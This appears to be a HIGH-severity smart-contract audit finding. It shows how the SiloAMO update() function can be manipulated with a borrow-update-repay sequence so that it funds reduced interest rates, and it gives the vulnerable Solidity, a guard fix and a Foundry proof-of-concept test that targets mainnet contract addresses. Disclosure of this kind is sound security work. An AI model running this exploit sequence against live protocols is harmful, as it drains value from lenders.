HIGH severity: SiloAMO can be forced to fund reduced interest rates by manipulating utilization. When `update()` is permissionlessly called on the SiloAMO, it decides whether to deposit or withdraw funds by comparing the `totalDeposits` to an "ideal" amount of deposits that is calculated by multiplying the `totalBorrows` by `uopt` (the optimal utilization rate set on the Silo).

If a user is...

Vulnerable code:
function _update() internal {
    // Accrue interest on Silo
    ISilo(market).accrueInterest(address(OHM));

    // Get current total deposits and target total deposits
    ISilo.AssetStorage memory assetStorage = ISilo(market).assetStorage(address(OHM));
    uint256 currentDeployment = getUnderlyingOhmBalance();
    uint256 totalDeposits = assetStorage.totalDeposits;
    uint256 targetDeploymentAmount = getTargetDeploymentAmount();

    if (targetDeploymentAmount < totalDeposits) {
        // If the target deployment amount is less than the total deposits, then we need to withdraw the difference
        uint256 amountToWithdraw = totalDeposits - targetDeploymentAmount;
        if (amountToWithdraw > currentDeployment) amountToWithdraw = currentDeployment;

        if (amountToWithdraw > 0) _withdraw(amountToWithdraw);
    } else if (targetDeploymentAmount > totalDeposits) {
        // If the target deployment amount is greater than the total deposits, then we need to deposit the difference
        uint256 amountToDeposit = targetDeploymentAmount - totalDeposits;
        if (amountToDeposit > maximumToDeploy - ohmDeployed)
            amountToDeposit = maximumToDeploy - ohmDeployed;

        if (amountToDeposit > 0) _deposit(amountToDeposit);
    }
}

ISilo.UtilizationData memory utilizationData = ISilo(market).utilizationData(address(OHM));
if (utilizationData.interestRateTimestamp == block.timestamp)
    revert AMO_UpdateReentrancyGuard(address(this));

contract TestInterestRateManipulation is Test {
    using FullMath for uint256;

    ISilo silo = ISilo(0xf5ffabab8f9a6F4F6dE1f0dd6e0820f68657d7Db);
    IERC20 ohm = IERC20(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);
    IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    address shareCollToken = 0x907136B74abA7D5978341eBA903544134A66B065;
    IInterestRateModel model = IInterestRateModel(0x76074C0b66A480F7bc6AbDaA9643a7dc99e18314);
    address amo = makeAddr("policy");

    function testInterestRateManipulation() public {
        vm.createSelectFork("RPC_URL");
        deal(address(weth), address(this), 10_000e18);
        weth.approve(address(silo), 10_000e18);
        deal(shareCollToken, amo, 10_000e18);
        vm.startPrank(amo);
        IERC20(shareCollToken).approve(address(silo), 10_000e18);
        ohm.approve(address(silo), 100_000e9);
        vm.stopPrank();
        deal(address(ohm), address(this), 100_000e9);
        ohm.approve(address(silo), 100_000e9);
        deal(address(ohm), amo, 100_000e9);

        // the starting rate for the silo
        _update();
        console.log("Starting Rate: ", model.getCurrentInterestRate(address(silo), address(ohm), block.timestamp));

        // we make a large borrow, which pushes rates up but also baits the amo into depositing a large amount of OHM
        silo.deposit(address(weth), 10_000e18, false);
        (uint borrowAmt,) = silo.borrow(address(ohm), silo.liquidity(address(ohm)));
        console.log("Rate After OHM Borrow: ", model.getCurrentInterestRate(address(silo), address(ohm), block.timestamp));

        // wait one block so that update() is allowed to be called
        vm.warp(block.timestamp + 12);

        // now we force update()
        _update();
        console.log("Rate After Update: ", model.getCurrentInterestRate(address(silo), address(ohm), block.timestamp));

        // we immediately repay our borrow to minimize interest costs
        silo.repay(address(ohm), borrowAmt);
        vm.warp(block.timestamp + 12);
        console.log("Rate After Repayment: ", model.getCurrentInterestRate(address(silo), address(ohm), block.timestamp));

        // this reduced rate is now locked in for 1 day
    }

    function _update() internal {
        uint256 totalDeposits = silo.assetStorage(address(ohm)).totalDeposits;
        uint256 totalBorrowed = silo.utilizationData(address(ohm)).totalBorrowAmount;
        int256 optimalUtilizationPct = 0.5e18; // hardcoded what it is on the contract
        uint targetDeploymentAmount = totalBorrowed.mulDiv(1e18, uint256(optimalUtilizationPct));
        vm.prank(amo);
        if (totalDeposits < targetDeploymentAmount) {
            silo.deposit(address(ohm), targetDeploymentAmount - totalDeposits, false);
        } else if (totalDeposits > targetDeploymentAmount) {
            silo.withdraw(address(ohm), totalDeposits - targetDeploymentAmount, false);
        }
    }
}